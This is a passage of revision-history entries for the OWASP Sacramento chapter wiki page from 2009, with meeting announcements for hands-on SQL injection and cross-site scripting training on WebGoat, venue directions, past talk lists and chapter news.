Roman Hustad has been a local software developer in Sacramento for most of the past ten years.  Most recently he was a Principal Consultant at Foundstone where he specialized in application security by performing code reviews, threat models, and teaching secure programming.  Roman is a regular presenter at local chapters of OWASP, ISSA, ISACA, and Java User Groups.  He is currently working as a developer at CoreLogic. &lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670 &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=65357</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=65357"/>
				<updated>2009-07-04T23:36:59Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING (Tentative): Thursday July 30, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on Cross-Site Scripting ===&lt;br /&gt;
&lt;br /&gt;
Roman Hustad plans to lead a hands-on training session focused on Cross-Site Scripting using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=65356</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=65356"/>
				<updated>2009-07-04T23:36:18Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING (Tentative): Thursday July 30, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on Cross-Site Scripting ===&lt;br /&gt;
&lt;br /&gt;
Roman Hustad plans to lead a hands-on training session focused on Cross-Site Scripting using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-05-13: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=60379</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=60379"/>
				<updated>2009-05-08T18:21:50Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Tuesday May 12, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
IMPORTANT NOTE (May 8): The number of RSVP's has now exceeded room capacity.  Please RSVP early for our next meeting!&lt;br /&gt;
&lt;br /&gt;
Roman Hustad will lead a hands-on training session focused on SQL Injection using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  Fortify Software will be providing pizza for all attendees. Copies of the CD will be provided so bring your laptop with an optical drive.  This will be a joint meeting with the [http://www.issa-sac.org/meetings/index.php?View=2009051201 Sacramento ISSA] chapter.  Please note the location change; this meeting is in Natomas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Location:&lt;br /&gt;
&lt;br /&gt;
[http://www.nhsacramento.com/ New Horizons Computer Learning Center]&lt;br /&gt;
&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;output=html&amp;amp;q=1750+Creekside+Oaks+Drive,+Sacramento,+CA&amp;amp;zoom=2 1750 Creekside Oaks Drive, Suite 150, Sacramento, CA 95833]&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59636</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59636"/>
				<updated>2009-04-28T23:59:00Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Tuesday May 12, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PLEASE RSVP BELOW&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Roman Hustad will lead a hands-on training session focused on SQL Injection using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  Fortify Software will be providing pizza for all attendees. Copies of the CD will be provided so bring your laptop with an optical drive.  This will be a joint meeting with the [http://www.issa-sac.org/meetings/index.php?View=2009051201 Sacramento ISSA] chapter.  Please note the location change; this meeting is in Natomas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Location:&lt;br /&gt;
&lt;br /&gt;
[http://www.nhsacramento.com/ New Horizons Computer Learning Center]&lt;br /&gt;
&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;output=html&amp;amp;q=1750+Creekside+Oaks+Drive,+Sacramento,+CA&amp;amp;zoom=2 1750 Creekside Oaks Drive, Suite 150, Sacramento, CA 95833]&lt;br /&gt;
&lt;br /&gt;
RSVP: we need a headcount for food and CDs. Since this is a joint meeting with ISSA we will use their RSVP form at: [http://www.issa-sac.org/rsvp/index.php?ID=2 http://www.issa-sac.org/rsvp/index.php?ID=2] (Although the form implies that you will be charged for the meal, it will be FREE - normal ISSA meetings do not have free meals).  &lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59156</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59156"/>
				<updated>2009-04-17T17:49:51Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Tuesday May 12, 2009  6:00-8:00pm ==&lt;br /&gt;
=== Hands on SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Roman Hustad will lead a hands-on training session focused on SQL Injection using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  Copies of the CD will be provided so bring your laptop with an optical drive.  This will be a joint meeting with the [http://www.issa-sac.org/meetings/index.php?View=2009051201 Sacramento ISSA] chapter.  Please note the location change; this meeting is in Natomas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Location:&lt;br /&gt;
&lt;br /&gt;
[http://www.nhsacramento.com/ New Horizons Computer Learning Center]&lt;br /&gt;
&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;output=html&amp;amp;q=1750+Creekside+Oaks+Drive,+Sacramento,+CA&amp;amp;zoom=2 1750 Creekside Oaks Drive, Suite 150, Sacramento, CA 95833]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59089</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=59089"/>
				<updated>2009-04-16T07:43:40Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leader is [mailto:mpetteys@caiso.com Matt Petteys]&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.&lt;br /&gt;
&lt;br /&gt;
== Future Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Hands on SQL Injection ===&lt;br /&gt;
May 12, 2009  6:00-8:00pm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Roman Hustad will lead a hands-on training session focused on SQL Injection using the [[:Category:OWASP_WebGoat_Project|WebGoat]] practice application on the [[:Category:OWASP_Live_CD_Project|OWASP Live CD]].  Copies of the CD will be provided so bring your laptop with an optical drive.  This will be a joint meeing with the [http://www.issa-sac.org/meetings/index.php?View=2009051201 Sacramento ISSA] chapter.  Please note the location change; this meeting is in Natomas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Location:&lt;br /&gt;
&lt;br /&gt;
[http://www.nhsacramento.com/ New Horizons Computer Learning Center]&lt;br /&gt;
&lt;br /&gt;
[http://maps.google.com/maps?f=q&amp;amp;output=html&amp;amp;q=1750+Creekside+Oaks+Drive,+Sacramento,+CA&amp;amp;zoom=2 1750 Creekside Oaks Drive, Suite 150, Sacramento, CA 95833]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=54907</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=54907"/>
				<updated>2009-02-19T05:08:17Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
